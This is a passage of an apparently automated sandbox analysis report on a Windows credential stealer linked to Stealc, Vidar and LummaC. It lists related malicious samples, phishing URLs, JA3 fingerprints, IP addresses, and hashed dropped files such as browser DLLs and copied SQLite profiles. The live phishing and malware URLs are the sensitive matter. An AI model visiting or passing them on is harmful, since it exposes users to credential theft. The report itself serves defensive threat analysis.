	RMHdBSlo.eml	Get hash	malicious	CredentialStealer	Browse	40.99.70.178
	https://citiscapegroupae-my.sharepoint.com/:li:/g/personal/asekhar_citiscapegroup_com/E9U24ACMrctKoLKfReMWVjMBfxodtw3c4oUIHo4oyReVhg?e=SgIv5D&xsdata=MDV8MDJ8ZGVyZWsuZGVscG9ydEBvbnRoZWRvdC5jby56YXw5ZWEzNzFkNDdmNTM0YzE2Yjg5YTA4ZGQwZTAwZjY1OXwxMGRjN2M5NjU5NzY0NjAxODgyYzlhYzdjMjg3MGVjY3wxfDB8NjM4NjgyMTE5NTE1MDk3NDExfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=S3JqYzUxeUd4SmtWMEVWUzBMU3JUREpWTEJiN3VmeFVrY09ucElOZDRzaz0%3d	Get hash	malicious	HTMLPhisher	Browse	20.50.73.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	file.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	FW_ Fwd_ Voice Mail Message - 5TH Judicial Circuit.eml	Get hash	malicious	Lure-BasedAttack, HTMLPhisher	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	https://chellenpunion.wordpress.com/	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	https://multikultural.az/web/v2/index.php?query=bWVubmVuQHNlbmlvcnNvbHV0aW9uc3Z0Lm9yZw==	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	oDisjCYpOP	Get hash	malicious	Xmrig	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	https://xl.guggisberg.ar	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	https://application-submit.com/form/redbull	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82
	cgoaudit Files.pdf	Get hash	malicious	Unknown	Browse	4.175.87.197 23.52.182.8 13.107.246.63 20.190.177.82

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	vwkb5DQRAL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	vwkb5DQRAL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFCFHJDBKJKEBFHJEHII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\EGCBAFCF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654129933257745
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM9SAELyKOMq+8HKkjucswRv8p3nVumDC:K0q+n0J99ELyKOMq+8HKkjuczRv89vC
MD5:	3E399779CB15CD9E96580F9E52F47960
SHA1:	755D569B42CEE7EAEED72350258F1E582DCC2E75
SHA-256:	48457C71C06D36502EC5B06B107FA845712D5B15521028A0C498D4B0ED3AF6F0
SHA-512:	7317632420B8C5EE16443E1583B6EFED450A1092FEF4258CECE3EFDDF680C184EB757C6654CDDCF67B6442B6402771DF9998E11173F9A03509624D518C3CDF7C
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIEBKKFHIEGCAKECGHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIJEBKECBAKFBGDGCBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIJDAAAAAAKECBFBAEBKJJJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEHDBAAFIDGDAAAAAAAAKEBFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KEBKJDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vwkb5DQRAL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: vwkb5DQRAL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2afd6050-c75f-465a-97d7-eeee01e515fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45904
Entropy (8bit):	6.087504929296744
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5darbPKKGf4mjT0TZEqnFwPEEC9kVCio67DRo+yM/42cRaLMos7x:VMk1rT8H1ar39aFo67VLyMV/Yosd
MD5:	874FD1966754C8E04C305B17EE1CECEA
SHA1:	11993346D519AF608E392CDE9681D0C70818ED33
SHA-256:	77D1D0EF90E250B0BA1FAECF443E53CD0BF315C7958E3BC69C3FD5514A69FBA8
SHA-512:	2A91EFA74AB1D04EB617FA4CB7DC94A4F78221F8B80805805EE688897AFFAB36856F5126D3128DFFB13E771771B566ED949653DA51FCAD7DCBFA354B72C9A183
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6edf0c68-8199-4470-95a3-4eeecbb93668"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732728780"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2b0e07db-4fc1-41df-a66a-80f9497fddcc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44691
Entropy (8bit):	6.094620958483295
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k5iKKGf4mjT0T7J0GqFux0UN7DRo+yM/42cRaLMoskU:z/Ps+wsI7ynmN7VLyMV/YoskFoz
MD5:	F4F68F871DF9542313F7B9B461FEC7A1
SHA1:	8FE118040DD960C71B242AE371B0C5175B8A3AB3
SHA-256:	B6CD526F8340E635069137AC79D9BFB94DF452DE091852619502E30849CC5083
SHA-512:	C3986B242C7FE65F38DADBBF8A3DE6EEDD21F049B13A82AFFD3BADF7DA05149540F1CA4651CEECB6741429DEC51C707FA9E5422D2E7741BB4435BE8B91F73AD7
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3cd46f3f-043c-489c-aae5-80f04b2d20ab.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44769
Entropy (8bit):	6.094936424293649
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xdiKKGf4mjT0TZEqnFwPEECN7DRo+yM/42cRaLMoskU:z/Ps+wsI7yOoN7VLyMV/YoskFoz
MD5:	BE3E0EEC1B3B540A1867C58BB287C82D
SHA1:	3285B7F15F42E823683C539C8517B2F36F6341EE
SHA-256:	841975523B817E018680D979696896E8C977C6EF4C266A287C69E632302BC594
SHA-512:	CB71D9BD4ABD050766F36C6AB163018B75F1F973126597DE3F5C457E2114EF075C8D0BD5E1695B549987529875FDF5D883DBE554B924E55AF015CCB97557171B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\487e7d84-aac5-42d0-a225-0caeacdccf11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46028
Entropy (8bit):	6.08719850082718
Encrypted:	false
SSDEEP:	768:VMkbJrT8IeQc5NarpPKKGf4mjT0TlEqnFwPEEC9kVCio67DRo+yM/42cRaLMos7x:VMk1rT8Hlar99aFo67VLyMV/Yosd
MD5:	3CB1C0ABCDD522740BE7CB92668F1DDB
SHA1:	DBCF37B19C52EEFE5E53799DE73669D2DDFA99F4
